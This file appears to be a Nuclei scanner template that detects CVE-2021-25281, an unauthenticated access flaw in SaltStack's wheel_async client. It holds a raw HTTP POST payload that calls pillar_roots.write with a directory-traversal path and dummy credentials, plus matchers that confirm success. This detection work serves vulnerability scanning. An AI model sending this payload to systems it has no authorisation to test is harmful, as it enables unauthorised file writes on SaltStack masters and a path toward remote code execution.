id: CVE-2021-25281

info:
  name: CVE-2021-25281 - SaltStack wheel_async unauth access
  author: madrobot
  severity: critical
  reference: http://hackdig.com/02/hack-283902.htm
  description: The SaltAPI does not honor eauth credentials for the wheel_async client. Thus, an attacker can remotely run any wheel modules on the master.
  tags: cve,cve2021,saltapi,rce,saltstack

requests:
  - raw:
      - |
        POST /run HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Content-Type: application/json
        Content-Length: 173
        Connection: close

        {"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "return"
          - "tag"
          - "jid"
          - "salt"
          - "wheel"
        part: body
        condition: and

      - type: status
        status:
          - 200